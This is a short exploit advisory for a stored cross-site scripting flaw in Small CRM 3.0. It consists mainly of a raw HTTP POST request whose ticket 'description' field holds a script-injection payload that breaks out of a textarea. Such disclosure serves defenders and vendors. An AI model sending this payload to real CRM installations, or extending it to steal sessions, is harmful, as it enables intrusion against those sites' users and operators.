Small CRM 3.0 Cross Site Scripting

2021.10.21
Credit: Ghuliev
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: Small CRM 3.0 - 'description' Stored Cross-Site Scripting (XSS) # Date: 20/10/2021 # Exploit Author: Ghuliev # Vendor Homepage: https://phpgurukul.com # Software Link: https://phpgurukul.com/small-crm-php/ # Version: 3.0 # Tested on: Server: Ubuntu When a user or admin creates a ticket, we can inject javascript code into ticket. POST /crm/create-ticket.php HTTP/1.1 Host: IP Content-Length: 79 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://IP Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://IP/crm/create-ticket.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,az;q=0.8,ru;q=0.7 subject=aa&tasktype=Select+your+Task+Type&priority=&description=</textarea><script>alert(1)</script>&send=Send


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